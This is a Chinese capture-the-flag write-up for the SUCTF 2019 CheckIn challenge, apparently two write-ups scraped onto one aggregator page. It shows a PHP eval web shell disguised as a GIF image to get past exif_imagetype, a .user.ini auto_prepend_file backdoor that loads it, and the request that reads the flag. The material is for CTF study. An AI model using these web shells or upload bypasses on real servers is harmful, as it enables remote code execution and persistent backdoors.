[SUCTF 2019]CheckIn1

Posted paitoyou

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了[SUCTF 2019]CheckIn1相关的知识,希望对你有一定的参考价值。

知识点:

.user.ini文件

图片马

文件头绕过

进入靶机后,看到如图所示,便猜测是文件上传问题

 先尝试上传php文件、phtml文件,均显示回显“illegal suffix!”

 最后在尝试上传图片jpg(png)文件,显示回显exif_imagetype:not image!

exif_imagetype函数

exif_imagetype() 读取一个图像的第一个字节并检查其签名。如果发现了恰当的签名则返回一个对应的常量,否则返回 FALSE。返回值跟getimagesize() 返回的数组中的索引 2 的值是一样的,但exif_imagetype函数快得多。

 即此函数是检测上传文件是否为图片,即可想到文件绕过此检测,我上传的jpg文件,所以在编辑一句话木马时,使用的文件头是 GIF98a。

各类型对应头字节:

  • JPG :FF D8 FF E0 00 10 4A 46 49 46(16进制编码)
  • GIF:47 49 46 38 39 61(ascll值是GIF89a)
  • PNG: 89 50 4E 47

 上传一句话图片马文件:1.jpg,得到如下回显

GIF89a?
<script language='php'>eval($_REQUEST['cmd']);</script>

现在已将图片马上传上去了。但是图片马上传上去只是进行了一半,因为图片马,不是php脚本文件,所以无法被解析运行。所以就需要进行重头戏:文件包含漏洞。

.user.ini

php.ini是php的一个全局配置文件,对整个web服务起作用;而.user.ini和.htaccess一样是目录的配置文件,.user.ini就是用户自定义的一个php.ini,我们可以利用这个文件来构造后门和隐藏后门。

ps:具体可见文件上传之.user.ini - NineOne_E - 博客园

 编辑一个.user.ini文件,进行上传;代码中需要包含jpg的文件头进行绕过,内容中的文件名需要与上传的图片马文件名保持一致。

GIF89a
auto_prepend_file=1.jpg

先上传.user.ini文件,会出现回显:

 然后上传图片马,得到回显

进行第一个payload,得到回显GIF98a,即文件上传成功且解析成功,在构造第二个payload:

http://bfb39906-bc18-432a-8087-b1b1fb2a23f5.node4.buuoj.cn:81/uploads/c47b21fcf8f0bc8b3920541abd8024fd/index.php

 

/uploads/c47b21fcf8f0bc8b3920541abd8024fd/index.php?cmd=var_dump(file_get_contents("/flag"));

即可得到flag

 第一次写这个题目的时候,在进行第一次构造payload时,总出现“File not found”的提示,然后就一直找问题所在之处,最后在快要放弃的时候就随手改了一下上传图片马的命名(ps:图片马的名字于.user.ini内容的文件名保持一致)然后就发现有回显了,突然我就意识到,我文件中还有一个和图片马命名一样但是后缀不一样的问件,这也可能是导致我上传失败的原因所在。

[SUCTF 2019]CheckIn

知识点

  exif_imagetype()

  .user.ini(重点)

 

exif_imagetype()

  打开发现是上传,发现可以上传jpg等格式的文件。然后上传txt格式的文件,发现后台是通过exif_imagetype函数判断的— 判断一个图像的类型。

技术图片

 

  在文件头添加图片头就可以绕过

  • JPG :FF D8 FF E0 00 10 4A 46 49 46
  • GIF(相当于文本的GIF89a):47 49 46 38 39 61
  • PNG: 89 50 4E 47

 .user.ini

  https://wooyun.js.org/drops/user.ini%E6%96%87%E4%BB%B6%E6%9E%84%E6%88%90%E7%9A%84PHP%E5%90%8E%E9%97%A8.html

  PHP的默认配置文件时php.ini,分为PHP_INI_SYSTEMPHP_INI_PERDIRPHP_INI_ALLPHP_INI_USER

技术图片

 

   这里就提到了.user.ini,简单来说,.user.ini实际上就是一个可以由用户“自定义”的php.ini,并且这个是一个动态加载的文件,不需要重启服务。

  有两个比较有意思的选项

  1、auto_prepend_file 在页面顶部加载文件
  2、auto_append_file  在页面底部加载文件

auto_prepend_file=test.jpg

  那么当我们访问此目录下的任何一个文件时,都会去包含test.jpg,我们可以利用这个来留后门

 

解题

  打开上传一个txt文件,发现是exif_imagetype()绕过,制作图片马添加图片头上传图片码

GIF89a?
<?php eval($_POST[a]);?>

  发现过滤了<?

  技术图片

 

   用其他标记绕过,test1.gif

GIF89a?
<script language=‘php‘>eval($_REQUEST[c]);</script>

技术图片

 

 

  同样的方式提交.user.ini

GIF89a
auto_prepend_file=tset1.gif

   技术图片

 

 

  出题人刻意留下了index.php文件,然后利用该文件得到flag

技术图片

 

 参考链接

  https://www.cnblogs.com/wangtanzhi/p/11862682.html

如有错误和不足请联系指出,谢谢

以上是关于[SUCTF 2019]CheckIn1的主要内容,如果未能解决你的问题,请参考以下文章

WEB|[SUCTF 2019]Pythonginx

[SUCTF 2019]Pythonginx

BUUCTF:[SUCTF 2019]Pythonginx

BUUCTF:[SUCTF 2019]Pythonginx

BUUCTF:[SUCTF 2019]Pythonginx

[SUCTF 2019]EasySQL